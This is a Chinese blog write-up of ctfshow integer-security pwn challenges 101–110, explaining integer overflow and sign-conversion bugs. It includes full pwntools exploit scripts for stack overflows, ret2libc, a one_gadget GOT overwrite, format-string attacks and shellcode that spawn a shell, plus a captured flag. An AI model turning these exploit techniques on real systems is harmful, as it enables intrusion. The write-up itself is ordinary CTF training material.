CTFshow-Pwn入门整数安全(101-110)

pwn101

来学点东西吧

开满了啊,但是是教学关卡应该不会很难,我们直接看看

为我们展示了每种int类型的bytes和range,只有知道这个才能帮助我们溢出

之后让我们输入两个数字,分别存入v4和v5,要求是v4 == 0x80000000 && v5 == 0x7FFFFFFF即可得到flag

实际上按32位有符号int来看,这就是INT_MIN和INT_MAX

所以我们输入-2147483648和2147483647即可

当然了,虽然严格来说输入2147483648会超出范围,但是在这台机子上最后落入变量都是同一个数字,因此都成立

pwn102

保护:

64位,保护几乎全开,应该是教程题

系统提示我输入一个无符号的int,要我们输入的这个无符号int变成-1

简单来说利用的漏洞是同一个4字节内存,按照unsigned输入,又按照signed判断

我输入 4294967295 就能触发,比较的是 cmp eax, 0xffffffff

然而由于scanf的整数转化允许前导符号,-1也会被解析,所以导致-1也能过这个逻辑,回绕一圈

pwn103

保护:

继续反编译查看一下

一开始问我们写入数据的长度,最多选80

后边是__isoc99_scanf(“ %[^\n]”, dest);

会读取直到\n的所有内容放入dest,内容其实无所谓因为后边会被覆盖掉

后边再去从src开始复制v1个字节到dest开始的地方,但是那个地方是null

从null复制字节肯定崩,只有0可以

而且这边检查的是dest的地址值啊,一般的地址值都远远大于114514,本来就会自动满足

因此我们只需要让memcpy那边不崩就好了,我们直接一开始让data只能写0个,那后边memcpy就不会复制去dest,之后就可以通过if触发gift函数了

pwn104

保护:

有什么是可控的,保护关了,不再是那种简单题了,我们来看看如何利用


可以看到这边先问我们要写多少个长度的数据,其实就是不限制我们写入的长度,但是最后read的buf只有0xE,就是一个栈溢出,offset=0xE+8

那我们一开始输入个大一点的就好了,比如30

栈溢出很容易构建

然后利用栈溢出返回到that函数即可

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = remote('pwn.challenge.ctf.show',28120)

offset = 0xE+8
that = 0x040078D
payload = b'a'*offset+p64(that)

io.sendlineafter(b'How long are you?\n',b'30')
io.sendline(payload)
io.interactive()

这边完全没有用到整数安全,我猜想是我们可以第一次直接发-1,因为是无符号整型,最后会变成一个0xFFFFFFFF,更是容易栈溢出

pwn105

保护:

看看main函数

可以看到这边让我们check一下permissions,然后read的正好把栈填满,但没有栈溢出

我们点到ctfshow()函数看看

发现这边的strcpy更适合栈溢出,只要控制s的内容即可

offset = 0x11+4

然后后门函数也很好找

success = 0x0804870E

所以现在唯一的问题是绕过if语句然后让s传过去

也就是让v3在4-8位之间

注意v3是一个unsigned __int8类型的,所以只能存储0-255的值

256就会变成1,会被截断,而既然是4-8,还要构造栈溢出,那么推荐是溢出的256+4,即260

所以最后用A补齐到260,即0x104长度即可

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(arch='i386',os='linux',log_level='debug')
io = remote('pwn.challenge.ctf.show',28128)

success = 0x0804870E
offset = 0x11+4

payload = b'a'*offset + p32(success)
payload = payload.ljust(0x104,b'a')

io.sendline(payload)
io.interactive()

得到flag

pwn106

保护:

题目说还是非常简单,那来看看

定位main函数

上来有个选项,让咱选择去哪,输入的放到v6,输入2就直接exit了,所以得输入1

打开login函数

可以看到这还是没有发现漏洞,继续往下看,有个check_passwd

这就和105很像了,就是一个整数溢出导致dest栈溢出的题目

offset = 0x14+4

这个v3还是保持在4-8位,然后还是strlen,所以就还是260长度的s嘛,(你要261,262什么的也都可以),利用整数溢出确保if成功

前边平稳度过就好了,不会遇到什么问题

栈溢出之后直接跳到获取flag的函数即可

fffflag = 0x08048919

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch='i386',os='linux',log_level='debug')
io = remote('pwn.challenge.ctf.show', 28247)

offset = 0x14+4
fffflag = 0x08048919
payload = b'a'*offset+p32(fffflag)
payload = payload.ljust(0x104,b'a')

io.sendlineafter('Your choice:',b'1')
io.sendlineafter('Please input your username:\n',b'1')
io.recvuntil('Please input your passwd:\n')
io.sendline(payload)
io.interactive()

pwn107

保护:

只开了NX,用不了shellcode

IDA看看,根据题目说的,这题的重点应该在类型转换,或许就是利用这个atoi将字符串转化为整数

还有一个getch()函数,打开来看看

大概是从标准输入读取字符,然后放到nptr的内存缓冲区

要读多少次呢?那就看第二个参数,是4那就是读4次的,如果遇到空字符或者\n就提前结束

所以这个show函数的逻辑是先让我们输入一个阅读时间次数,利用atoi,它会将字符串解析为整数,包括负号

所以我们写负数进去会全部通过if,还能利用整数溢出写一大堆字节数据

我们只需要写一个-1,能通过if的同时还能在第二步读很多很多

可以看到如果我们输入-1,能直接写4294967295字节的数据

写一个0x2C+4即可

所以栈溢出构造好了,但是这一题还需要注意的是没有线程的后门函数,我们需要自己构造,利用printf来做一个ret2libc即可,这个的细节就不写了,就是32位传参得到libc地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *
context(arch='i386',os='linux',log_level='debug')
io = remote('pwn.challenge.ctf.show',28279)
elf = ELF('./pwn107')

offset = 0x2C+4
printf_plt = 0x8048370
printf_got = elf.got['printf']
show_addr = 0x804852F

payload1 = b'a'*offset+p32(printf_plt)+p32(show_addr)+p32(printf_got)
io.sendlineafter('How many bytes do you want me to read? ',b'-1')
io.sendline(payload1)
printf_addr = u32(io.recvuntil('\xf7')[-4:])

libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr - libc.dump('printf')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload2 = b'a'*offset+p32(system)+p32(show_addr)+p32(bin_sh)
io.sendlineafter('How many bytes do you want me to read? ',b'-1')
io.sendline(payload2)
io.interactive()

如果发现LibcSearcher跑完还没,那就是和LibcSearcher的版本有关系,我换了个虚拟机就跑出来了,在ctfshow的虚拟机全试了一遍没跑出来。。

(试了一下之前的pwn95也是这个毛病,可能是ctfshow的虚拟机的LibcSearcher太老了,我去整个新的)

pwn108

保护:

?保护全开啊,最好真的只是个游戏

射击小游戏,看着都烦的main函数

1
printf("I placed the target near: %p\n", &puts);

这边泄露了puts地址,而且是真实地址,不是PIE地址,这明显可以算出libc_base了

之后是v6 = sub_B78()这个关键函数

不断步进查看,可以看到AE3这个函数把我的输入读进了nptr,然后后边又用atol给我转成了一个long整数返回

之后是main函数的两大循环

1
2
3
4
5
6
7
8
9
10
11
12
13
for ( i = 0; i <= 2; ++i )
{
puts("biang!");
read(0, &v7[i], 1uLL);
getchar();
}
if ( (unsigned int)sub_BC2(v7) )
{
for ( j = 0; j <= 2; ++j )
*(_BYTE *)(j + v6) = v7[j];
}
if ( !dlopen(0LL, 1) )
exit(1);

可以看到是三次射击,每次读1字节到v7数组中

之后再把这三个字节写到v6,也就是我指定那个地址的开始的位置,以此部分覆写我指定的地址

由于我只有这一次覆写地址的机会,面对这个全开的东西用ROP明显是不太现实了

我们只有一次机会,自然想到了one_gadget

但在找one_gadget之前需要注意的是,这边还有个过滤黑名单

不允许写0x8c、0xa3、b’\xc5\xf2’和b’”\xf3’

找one_gadget和libc版本有很大关系

1
one_gadget glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so

我们可以动调来看是否满足(注意这边动调会需要我们注意PIE,先来piebase

该用第三个,0x10a2fc

(我不明白为什么我对着同一个libc,跑wp里边那个地址能跑通,跑这仨就跑不通,可是这明明是同一个libc,怎么会这样)

wp是0xe54fe

我们开始写exp,一开始先捕获泄露地址,接下来算libc_base

然后得到one_gadget

之后我们选择改写libc内部的strlen的GOT表(因为dlopen的调用链子很大可能会用到strlen

注意这边程序读地址用的是atol,读的是十进制,所以我们必须发str(strlen_addr),而不是hex(strlen_addr)

最后再循环往v7数组覆盖部分地址即可

最后我们把strlen的GOT表低3字节压成了one_gadget的低3字节,所以在后边dlopen内部走到strlen的时候就读的不再是strlen了,而是直接执行了execve(“/bin/sh”,…)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *
context(arch = "amd64",os = 'linux',log_level = 'debug')

io = remote("pwn.challenge.ctf.show", 28230)
elf = ELF('./pwn108')
libc = ELF("./libc-2.27.so")

io.recvuntil('0x')
puts_addr = int(io.recv(12),16)
libc_base = puts_addr - libc.sym['puts']
one_gadget = libc_base + 0xe54fe
strlen_addr = libc_base + libc.got['strlen']
print(hex(libc.sym['strlen']))
io.recvuntil("shoot!shoot!")
io.sendline(str(strlen_addr))

for i in range(3):
io.recvuntil("biang!")
payload = chr(one_gadget & 0xFF)
io.sendline(payload)
one_gadget = one_gadget >> 8

io.interactive()

得到flag

pwn109

保护:

开了PIE,但是NX检测情况未知的来了,我们利用execstack试试看

发现是X啊,那是可以执行的,也就是说这一题可以用shellcode

ida打开看看吧,发现很乱

通过logo函数交叉引用可以找到main函数

两个无限循环,然后给了三个选项让我们选一个,一个个看吧,3不用看了,3就是直接break两次出去了

先看1,是输入,一个sub_8A4(buf, 0x400u);

read放到buf,能读nbytes个内容,这边还自己输出了buf的地址

噢正好填满,没有溢出

再看看2吧sub_8E4(buf);

发现是一个格式化字符串,测一下参数位置,注意这边需要先在1里边输入进buf之后再去2看

发现参数在第16位

既然有了shellcode,还有格式化字符串,我可以直接把shellcode写到栈上去运行就好了

理清思路,我们一开始应该先利用泄露的buf地址,先截取得到buf_leak

之后再利用这个得到返回地址

buf = ebp - 0x408

设一下栈对齐之后esp = A,代入ebp = A - 8

所以buf = A - 0x410

又因为又因为A = 原始返回地址 - 0xC

所以原始返回地址ret就是buf + 0x41C

1
2
buf_leak = int(io.recvuntil(b'\n').strip(),16)
ret = buf_leak + 0x41C

之后我们只要把栈的地址写到ret,这样子我们就到了栈上了

之后就只要传入shellcode到这边就可以了,我们在1的buf写,2的漏洞读,之后再回到1的buf写shellcode,最后3跳出retn的时候就成功执行shellcode了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(arch = "i386",os = 'linux',log_level = 'debug')
io = remote("pwn.challenge.ctf.show", 28187)
elf = ELF('./pwn109')

printf_got = elf.got['printf']
io.sendlineafter('3) Quit!!!\n',str(1))
buf_leak = int(io.recvuntil(b'\n').strip(),16)
ret = buf_leak + 0x41C
payload = fmtstr_payload(16,{ret:buf_leak})
io.sendline(payload)

io.sendlineafter('3) Quit!!!\n',str(2))
io.sendlineafter('3) Quit!!!\n',str(1))
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.sendlineafter('3) Quit!!!\n',str(3))
io.interactive()

ctfshow{1fbec202-9367-47b8-80e1-c371186ab921}

pwn110

保护:

?什么都没开啊,这种题真是不少见了,说明也可以用shellcode

打开IDA看看

主要是这个input函数,步进

(上边这张图我不知道为什么我用ida8.3打开会显示unsigned __int16 v1,很奇怪)

让我们输入应该短整型到v1,接下来检测v1的大小,必须小于等于1024,由于v1是有符号整型,我们还可以写负数来绕过这个

又泄露了buf的地址,然后把int16的v1传给了无符号整型的v3,最后允许写无符号整型v3个字节写入buf

这边就可以利用到整数溢出,我们写-1进v1,又能绕过if,又能得到大的v3使得buf造成栈溢出

可以看见写-1的话直接v3能写65535个字节了

read(0,buf,65535),易构成栈溢出

必须用负数的整数溢出才行,不然原来的1024写满也溢出不了

所以我们已经满足了栈溢出,接下来就和109一样,直接返回到栈地址

然后往栈地址塞shellcode就好了

1
buf_leak = int(io.recvuntil(b'\n').strip(),16)

跟这个一样,写exp吧

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch = "i386",os = 'linux',log_level = 'debug')
io = remote("pwn.challenge.ctf.show", 28208)
elf = ELF('./pwn110')

offset=0x41B+4
io.sendlineafter('1+1= ?\n',str(-1))
buf_leak = int(io.recvuntil(b' ').strip(),16)

shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(offset,b'a')+p32(buf_leak)
io.sendline(payload)
io.interactive()

得到flag

整数安全也就告一段落了


CTFshow-Pwn入门整数安全(101-110)
https://mei-you-qian.github.io/2026/03/25/整数安全/
作者
Meiyouqian
发布于
2026年3月25日
许可协议